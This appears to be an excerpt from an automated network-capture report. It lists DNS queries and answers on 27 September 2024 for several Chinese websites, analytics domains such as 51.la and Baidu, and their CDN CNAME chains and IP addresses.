Sep 27, 2024 05:50:41.010036945 CEST	192.168.2.5	1.1.1.1	0xc33d	Standard query (0)	collect-v6.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:43.844407082 CEST	192.168.2.5	1.1.1.1	0x413e	Standard query (0)	sdk.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:43.844703913 CEST	192.168.2.5	1.1.1.1	0xf1a8	Standard query (0)	sdk.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:43.845602036 CEST	192.168.2.5	1.1.1.1	0xb79	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:43.845710993 CEST	192.168.2.5	1.1.1.1	0x5176	Standard query (0)	collect-v6.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:43.846041918 CEST	192.168.2.5	1.1.1.1	0xce18	Standard query (0)	ia.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:43.846122026 CEST	192.168.2.5	1.1.1.1	0xd266	Standard query (0)	ia.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:52.201834917 CEST	192.168.2.5	1.1.1.1	0xc5ff	Standard query (0)	www.hbyczyz.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:52.202162027 CEST	192.168.2.5	1.1.1.1	0xbd69	Standard query (0)	www.hbyczyz.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:52.585411072 CEST	192.168.2.5	1.1.1.1	0xad08	Standard query (0)	www.hbyczyz.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:54.338517904 CEST	192.168.2.5	1.1.1.1	0x609	Standard query (0)	www.strlaser.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:54.338696957 CEST	192.168.2.5	1.1.1.1	0x9fc7	Standard query (0)	www.strlaser.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:54.412929058 CEST	192.168.2.5	1.1.1.1	0xcc8d	Standard query (0)	www.uapp360.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:54.413130045 CEST	192.168.2.5	1.1.1.1	0x2373	Standard query (0)	www.uapp360.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:54.413722992 CEST	192.168.2.5	1.1.1.1	0xe1ba	Standard query (0)	js.users.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:54.413940907 CEST	192.168.2.5	1.1.1.1	0x9290	Standard query (0)	js.users.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:55.677556038 CEST	192.168.2.5	1.1.1.1	0x58bd	Standard query (0)	website-ishutime.oss-cn-chengdu.aliyuncs.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:55.677920103 CEST	192.168.2.5	1.1.1.1	0x9449	Standard query (0)	website-ishutime.oss-cn-chengdu.aliyuncs.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:57.124294996 CEST	192.168.2.5	1.1.1.1	0x8055	Standard query (0)	hm.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.124655008 CEST	192.168.2.5	1.1.1.1	0x73c5	Standard query (0)	hm.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:57.180856943 CEST	192.168.2.5	1.1.1.1	0xe448	Standard query (0)	ia.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.181318998 CEST	192.168.2.5	1.1.1.1	0x85d5	Standard query (0)	ia.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:57.193869114 CEST	192.168.2.5	1.1.1.1	0x46c5	Standard query (0)	sdk.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.194399118 CEST	192.168.2.5	1.1.1.1	0xf994	Standard query (0)	sdk.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:57.194869995 CEST	192.168.2.5	1.1.1.1	0x843	Standard query (0)	zz.bdstatic.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:57.195833921 CEST	192.168.2.5	1.1.1.1	0x6d61	Standard query (0)	zz.bdstatic.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:58.339061022 CEST	192.168.2.5	1.1.1.1	0x9c89	Standard query (0)	website-ishutime.oss-cn-chengdu.aliyuncs.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:58.339546919 CEST	192.168.2.5	1.1.1.1	0xc398	Standard query (0)	website-ishutime.oss-cn-chengdu.aliyuncs.com	65	IN (0x0001)	false
Sep 27, 2024 05:50:58.550796032 CEST	192.168.2.5	1.1.1.1	0x78ab	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:58.550796032 CEST	192.168.2.5	1.1.1.1	0x5ba3	Standard query (0)	collect-v6.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:50:58.564030886 CEST	192.168.2.5	1.1.1.1	0x334a	Standard query (0)	www.strlaser.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:58.564477921 CEST	192.168.2.5	1.1.1.1	0x7d4e	Standard query (0)	www.strlaser.com	65	IN (0x0001)	false
Sep 27, 2024 05:51:00.260447025 CEST	192.168.2.5	1.1.1.1	0x2dd	Standard query (0)	sp0.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:00.260732889 CEST	192.168.2.5	1.1.1.1	0xdc69	Standard query (0)	sp0.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:51:00.378540039 CEST	192.168.2.5	1.1.1.1	0x73af	Standard query (0)	zz.bdstatic.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:00.379044056 CEST	192.168.2.5	1.1.1.1	0xd1c0	Standard query (0)	zz.bdstatic.com	65	IN (0x0001)	false
Sep 27, 2024 05:51:01.060273886 CEST	192.168.2.5	1.1.1.1	0x3bc4	Standard query (0)	www.zhspay.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:01.060554981 CEST	192.168.2.5	1.1.1.1	0xaf87	Standard query (0)	www.zhspay.com	65	IN (0x0001)	false
Sep 27, 2024 05:51:02.314037085 CEST	192.168.2.5	1.1.1.1	0xfa14	Standard query (0)	sp0.baidu.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:02.314416885 CEST	192.168.2.5	1.1.1.1	0xace4	Standard query (0)	sp0.baidu.com	65	IN (0x0001)	false
Sep 27, 2024 05:51:03.521887064 CEST	192.168.2.5	1.1.1.1	0x6db0	Standard query (0)	sdk.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:03.522003889 CEST	192.168.2.5	1.1.1.1	0xc986	Standard query (0)	sdk.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:51:03.523667097 CEST	192.168.2.5	1.1.1.1	0x12ad	Standard query (0)	js.users.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:03.523796082 CEST	192.168.2.5	1.1.1.1	0x83fd	Standard query (0)	js.users.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:51:05.791017056 CEST	192.168.2.5	1.1.1.1	0x9f7b	Standard query (0)	collect-v6.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:05.792686939 CEST	192.168.2.5	1.1.1.1	0x29cc	Standard query (0)	collect-v6.51.la	65	IN (0x0001)	false
Sep 27, 2024 05:51:06.083324909 CEST	192.168.2.5	1.1.1.1	0x2497	Standard query (0)	ia.51.la	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:51:06.083622932 CEST	192.168.2.5	1.1.1.1	0x90cd	Standard query (0)	ia.51.la	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 05:50:30.597943068 CEST	1.1.1.1	192.168.2.5	0xa4a7	Server failure (2)	hbyczyz.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:30.682878971 CEST	1.1.1.1	192.168.2.5	0xb581	No error (0)	hbyczyz.com		50.2.64.137	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:30.946404934 CEST	1.1.1.1	192.168.2.5	0x9fa4	Server failure (2)	hbyczyz.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:31.878809929 CEST	1.1.1.1	192.168.2.5	0x3e27	Server failure (2)	www.hbyczyz.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:32.002332926 CEST	1.1.1.1	192.168.2.5	0x2294	No error (0)	www.hbyczyz.com		50.2.64.137	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:32.571266890 CEST	1.1.1.1	192.168.2.5	0x17d0	Server failure (2)	www.hbyczyz.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:33.056466103 CEST	1.1.1.1	192.168.2.5	0x4608	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:33.056540966 CEST	1.1.1.1	192.168.2.5	0x5a0b	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 27, 2024 05:50:33.358643055 CEST	1.1.1.1	192.168.2.5	0x1d81	Server failure (2)	www.uapp360.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:33.525940895 CEST	1.1.1.1	192.168.2.5	0x4df6	No error (0)	www.uapp360.com		50.3.213.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:33.568412066 CEST	1.1.1.1	192.168.2.5	0x7a0d	Server failure (2)	www.uapp360.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:33.672665119 CEST	1.1.1.1	192.168.2.5	0x136e	No error (0)	js.users.51.la	js.users.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:33.672665119 CEST	1.1.1.1	192.168.2.5	0x136e	No error (0)	js.users.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:33.672665119 CEST	1.1.1.1	192.168.2.5	0x136e	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		38.54.26.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:33.672665119 CEST	1.1.1.1	192.168.2.5	0x136e	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.164.13	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:33.672665119 CEST	1.1.1.1	192.168.2.5	0x136e	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.164.17	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:33.672665119 CEST	1.1.1.1	192.168.2.5	0x136e	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		38.54.26.73	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:33.765887976 CEST	1.1.1.1	192.168.2.5	0x5fd7	No error (0)	js.users.51.la	js.users.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:33.765887976 CEST	1.1.1.1	192.168.2.5	0x5fd7	No error (0)	js.users.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:33.838483095 CEST	1.1.1.1	192.168.2.5	0xa7	No error (0)	www.hbyczyz.com		50.2.64.137	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:34.032951117 CEST	1.1.1.1	192.168.2.5	0x9952	Server failure (2)	www.hbyczyz.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:34.724977016 CEST	1.1.1.1	192.168.2.5	0x304c	No error (0)	hm.baidu.com	hm.e.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:34.724977016 CEST	1.1.1.1	192.168.2.5	0x304c	No error (0)	hm.e.shifen.com		111.45.11.83	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:34.724977016 CEST	1.1.1.1	192.168.2.5	0x304c	No error (0)	hm.e.shifen.com		183.240.98.228	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:34.724977016 CEST	1.1.1.1	192.168.2.5	0x304c	No error (0)	hm.e.shifen.com		111.45.3.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:34.724977016 CEST	1.1.1.1	192.168.2.5	0x304c	No error (0)	hm.e.shifen.com		14.215.182.140	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:34.724977016 CEST	1.1.1.1	192.168.2.5	0x304c	No error (0)	hm.e.shifen.com		14.215.183.79	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:34.725971937 CEST	1.1.1.1	192.168.2.5	0x9567	No error (0)	hm.baidu.com	hm.e.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:34.948421955 CEST	1.1.1.1	192.168.2.5	0xeb4c	No error (0)	www.uapp360.com		50.3.213.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:34.952043056 CEST	1.1.1.1	192.168.2.5	0xece4	Server failure (2)	www.uapp360.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:35.085046053 CEST	1.1.1.1	192.168.2.5	0x3d29	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.085046053 CEST	1.1.1.1	192.168.2.5	0x3d29	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.085046053 CEST	1.1.1.1	192.168.2.5	0x3d29	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		118.123.207.191	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.085046053 CEST	1.1.1.1	192.168.2.5	0x3d29	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		182.118.39.155	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.089679956 CEST	1.1.1.1	192.168.2.5	0x6aa3	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.089679956 CEST	1.1.1.1	192.168.2.5	0x6aa3	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.094489098 CEST	1.1.1.1	192.168.2.5	0xd71	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.094489098 CEST	1.1.1.1	192.168.2.5	0xd71	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.185364008 CEST	1.1.1.1	192.168.2.5	0x18ad	Server failure (2)	www.uapp360.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:35.316056013 CEST	1.1.1.1	192.168.2.5	0xca02	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.316056013 CEST	1.1.1.1	192.168.2.5	0xca02	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.316056013 CEST	1.1.1.1	192.168.2.5	0xca02	No error (0)	share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.316056013 CEST	1.1.1.1	192.168.2.5	0xca02	No error (0)	share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.316056013 CEST	1.1.1.1	192.168.2.5	0xca02	No error (0)	share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.316056013 CEST	1.1.1.1	192.168.2.5	0xca02	No error (0)	share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.316056013 CEST	1.1.1.1	192.168.2.5	0xca02	No error (0)	share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.316056013 CEST	1.1.1.1	192.168.2.5	0xca02	No error (0)	share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.316056013 CEST	1.1.1.1	192.168.2.5	0xca02	No error (0)	share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.316056013 CEST	1.1.1.1	192.168.2.5	0xca02	No error (0)	share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.440510035 CEST	1.1.1.1	192.168.2.5	0x8907	No error (0)	js.users.51.la	js.users.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.440510035 CEST	1.1.1.1	192.168.2.5	0x8907	No error (0)	js.users.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.440510035 CEST	1.1.1.1	192.168.2.5	0x8907	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.440510035 CEST	1.1.1.1	192.168.2.5	0x8907	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.540400982 CEST	1.1.1.1	192.168.2.5	0x4412	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.540400982 CEST	1.1.1.1	192.168.2.5	0x4412	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.540400982 CEST	1.1.1.1	192.168.2.5	0x4412	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.540400982 CEST	1.1.1.1	192.168.2.5	0x4412	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.616540909 CEST	1.1.1.1	192.168.2.5	0xc29e	No error (0)	js.users.51.la	js.users.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.616540909 CEST	1.1.1.1	192.168.2.5	0xc29e	No error (0)	js.users.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.809804916 CEST	1.1.1.1	192.168.2.5	0xafb4	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.809804916 CEST	1.1.1.1	192.168.2.5	0xafb4	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:35.893280983 CEST	1.1.1.1	192.168.2.5	0xce70	No error (0)	www.zhspay.com		50.3.213.5	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:35.900985956 CEST	1.1.1.1	192.168.2.5	0x1789	Server failure (2)	www.zhspay.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:36.427911997 CEST	1.1.1.1	192.168.2.5	0x4bc8	Server failure (2)	www.zhspay.com	none	none	65	IN (0x0001)	false
Sep 27, 2024 05:50:38.083501101 CEST	1.1.1.1	192.168.2.5	0x22dc	No error (0)	ia.51.la	ia.51.la.d183e8b1.cdnhwcggk22.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.083501101 CEST	1.1.1.1	192.168.2.5	0x22dc	No error (0)	ia.51.la.d183e8b1.cdnhwcggk22.com	hcdnwsa101.vip.cdnhwckon103.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.083501101 CEST	1.1.1.1	192.168.2.5	0x22dc	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		182.118.39.155	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.083501101 CEST	1.1.1.1	192.168.2.5	0x22dc	No error (0)	hcdnwsa101.vip.cdnhwckon103.com		118.123.207.191	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.083514929 CEST	1.1.1.1	192.168.2.5	0xad60	No error (0)	hm.baidu.com	hm.e.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.083514929 CEST	1.1.1.1	192.168.2.5	0xad60	No error (0)	hm.e.shifen.com		183.240.98.228	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.083514929 CEST	1.1.1.1	192.168.2.5	0xad60	No error (0)	hm.e.shifen.com		14.215.183.79	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.083514929 CEST	1.1.1.1	192.168.2.5	0xad60	No error (0)	hm.e.shifen.com		111.45.11.83	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.083514929 CEST	1.1.1.1	192.168.2.5	0xad60	No error (0)	hm.e.shifen.com		111.45.3.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.083514929 CEST	1.1.1.1	192.168.2.5	0xad60	No error (0)	hm.e.shifen.com		14.215.182.140	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.083528996 CEST	1.1.1.1	192.168.2.5	0x2686	No error (0)	hm.baidu.com	hm.e.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.096060991 CEST	1.1.1.1	192.168.2.5	0x5f29	No error (0)	collect-v6.51.la	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.096060991 CEST	1.1.1.1	192.168.2.5	0x5f29	No error (0)	collect-v6.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.096060991 CEST	1.1.1.1	192.168.2.5	0x5f29	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		90.84.161.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.096060991 CEST	1.1.1.1	192.168.2.5	0x5f29	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		148.153.240.75	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.148631096 CEST	1.1.1.1	192.168.2.5	0x1101	No error (0)	sdk.51.la	sdk.51.la.d183e8b1.cdnhwcgqa21.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.148631096 CEST	1.1.1.1	192.168.2.5	0x1101	No error (0)	sdk.51.la.d183e8b1.cdnhwcgqa21.com	hcdnwsa120.v5.cdnhwczoy106.cn		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.148631096 CEST	1.1.1.1	192.168.2.5	0x1101	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		149.104.74.82	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.148631096 CEST	1.1.1.1	192.168.2.5	0x1101	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		98.98.25.17	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.148631096 CEST	1.1.1.1	192.168.2.5	0x1101	No error (0)	hcdnwsa120.v5.cdnhwczoy106.cn		149.104.73.28	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.261054993 CEST	1.1.1.1	192.168.2.5	0xa52f	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.261054993 CEST	1.1.1.1	192.168.2.5	0xa52f	No error (0)	api.share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.261054993 CEST	1.1.1.1	192.168.2.5	0xa52f	No error (0)	api.share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.261054993 CEST	1.1.1.1	192.168.2.5	0xa52f	No error (0)	api.share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.261054993 CEST	1.1.1.1	192.168.2.5	0xa52f	No error (0)	api.share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.261054993 CEST	1.1.1.1	192.168.2.5	0xa52f	No error (0)	api.share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.261054993 CEST	1.1.1.1	192.168.2.5	0xa52f	No error (0)	api.share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.261054993 CEST	1.1.1.1	192.168.2.5	0xa52f	No error (0)	api.share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.261054993 CEST	1.1.1.1	192.168.2.5	0xa52f	No error (0)	api.share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.306427002 CEST	1.1.1.1	192.168.2.5	0x54c7	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.306427002 CEST	1.1.1.1	192.168.2.5	0x54c7	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.306427002 CEST	1.1.1.1	192.168.2.5	0x54c7	No error (0)	share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.306427002 CEST	1.1.1.1	192.168.2.5	0x54c7	No error (0)	share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.306427002 CEST	1.1.1.1	192.168.2.5	0x54c7	No error (0)	share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.306427002 CEST	1.1.1.1	192.168.2.5	0x54c7	No error (0)	share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.306427002 CEST	1.1.1.1	192.168.2.5	0x54c7	No error (0)	share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.306427002 CEST	1.1.1.1	192.168.2.5	0x54c7	No error (0)	share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.306427002 CEST	1.1.1.1	192.168.2.5	0x54c7	No error (0)	share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.306427002 CEST	1.1.1.1	192.168.2.5	0x54c7	No error (0)	share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.311216116 CEST	1.1.1.1	192.168.2.5	0x9d29	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.336358070 CEST	1.1.1.1	192.168.2.5	0xc53f	No error (0)	api.share.baidu.com	api.share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.336358070 CEST	1.1.1.1	192.168.2.5	0xc53f	No error (0)	api.share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.336358070 CEST	1.1.1.1	192.168.2.5	0xc53f	No error (0)	api.share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.336358070 CEST	1.1.1.1	192.168.2.5	0xc53f	No error (0)	api.share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.336358070 CEST	1.1.1.1	192.168.2.5	0xc53f	No error (0)	api.share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.336358070 CEST	1.1.1.1	192.168.2.5	0xc53f	No error (0)	api.share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.336358070 CEST	1.1.1.1	192.168.2.5	0xc53f	No error (0)	api.share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.336358070 CEST	1.1.1.1	192.168.2.5	0xc53f	No error (0)	api.share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.336358070 CEST	1.1.1.1	192.168.2.5	0xc53f	No error (0)	api.share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Sep 27, 2024 05:50:38.403007030 CEST	1.1.1.1	192.168.2.5	0x94da	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 05:50:38.403007030 CEST	1.1.1.1	192.168.2.5	0x94da	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
